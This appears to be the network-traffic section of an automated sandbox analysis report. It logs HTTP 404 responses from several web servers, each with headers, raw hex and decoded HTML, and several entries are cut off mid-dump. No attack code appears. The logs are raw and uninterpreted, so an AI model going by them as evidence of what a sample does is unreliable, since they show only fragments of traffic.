04 ef 21 16 90 9e 9d d1 b2 72 3e 54 10 54 e8 86 29 d9 be 70 5d d9 48 cf 4c e7 16 f4 d8 8d 87 0a 17 ab 2e 51 39 fc af 5f b0 5b 69 ce 16 bc 8d 5f 4d 4b 2e ab 6e e5 fb 2f b3 48 c8 fd 09 a8 46 bf a6 e3 76 97 47 bc 3e e0 0d 26 64 e0 44 7e ff ac a3 86 db 80 f0 40 57 48 65 eb d0 fa 5d 9c 6b 8b 49 69 36 c1 05 a0 17 93 24 ac 19 fb f5 38 e1 b8 1e 91 52 57 4b 70 7e a9 30 27 86 57 95 6c eb 19 6c ed 34 dc d6 b2 8d a7 38 4e 95 3c 29 d6 0f 0b 16 55 4e 5a 3d d7 4a e9 9e 40 c0 97 13 e6 8f 99 11 81 0d 29 ee 6b 64 2c aa 46 a1 52 2c 11 4c 56 03 56 8c 7e 02 62 5c 42 e8 07 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 213uo0+^\NjV0p$CKB.v^.EbCbCBb@lMK//G~/HSsjKf7I8@'{GOaUiZfX@t:e1\U<Ie'Or[OE}y.^zwon_}~s7_}6cC`9a(wR<N@]"0OvEgZhtl+SC%~6<z>yH'0{*uV!r>TT)p]HL.Q9_[i_MK.n/HFvG>&dD~@WHe]kIi6$8RWKp~0'Wll48N<)UNZ=J@)kd,FR,LVV~b\B0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 28 Mar 2024 10:31:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 33 30 37 0d 0a 3c 21 2d 2d 20 20 7b 22 65 72 72 6f 72 22 3a 34 30 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 73 69 74 65 20 65 72 72 6f 72 22 7d 20 20 2d 2d 3e 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e e6 ac a2 e8 bf 8e e6 82 a8 e8 bf 9b e5 85 a5 e9 85 8d e8 b5 84 e5 ae 98 e7 bd 91 3c 2f 74 69 74 6c 65 3e 0a 20 20 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6c 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 3a 20 30 3b 6d 61 72 67 69 6e 3a 20 30 3b 22 3e 0a 3c 64 69 76 3e 3c 73 63 72 69 70 74 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 73 72 63 3d 22 2f 74 6a 2f 70 63 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 307<!-- {"error":401,"message":"site error"} --><!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></title> <script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https') { bp.src = 'https://zz
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Mar 2024 10:31:18 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Mar 2024 10:31:20 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Mar 2024 10:31:23 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 28 Mar 2024 10:31:26 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 28 Mar 2024 10:31:32 GMTserver: Apachex-powered-by: PHP/8.0.30expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://hoolrealestate.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-type: text/html; charset=UTF-8connection: closeData Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 74 69 74 6c 65 3e 50 c3 a1 67 69 6e 61 20 6e 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 26 23 38 32 31 31 3b 20 48 4f 4f 4c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 4f 4f 4c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 4f 4f 4c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 20 64 65 20 6c 6f 73 20 63 6f 6d 65 6e 74 61 72 69 6f 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 28 Mar 2024 10:31:36 GMTserver: Apachex-powered-by: PHP/8.0.30expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://hoolrealestate.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-type: text/html; charset=UTF-8connection: closeData Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 74 69 74 6c 65 3e 50 c3 a1 67 69 6e 61 20 6e 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 26 23 38 32 31 31 3b 20 48 4f 4f 4c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 4f 4f 4c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 4f 4f 4c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 20 64 65 20 6c 6f 73 20 63 6f 6d 65 6e 74 61 72 69 6f 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 28 Mar 2024 10:31:38 GMTserver: Apachex-powered-by: PHP/8.0.30expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://hoolrealestate.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-type: text/html; charset=UTF-8connection: closeData Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 74 69 74 6c 65 3e 50 c3 a1 67 69 6e 61 20 6e 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 26 23 38 32 31 31 3b 20 48 4f 4f 4c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 4f 4f 4c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 4f 4f 4c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 20 64 65 20 6c 6f 73 20 63 6f 6d 65 6e 74 61 72 69 6f 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 6f 6c 72 65 61 6c 65 73 74 61 74 65 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not Founddate: Thu, 28 Mar 2024 10:31:41 GMTserver: Apachex-powered-by: PHP/8.0.30expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://hoolrealestate.com/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-type: text/html; charset=UTF-8connection: closeData Raw: 43 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 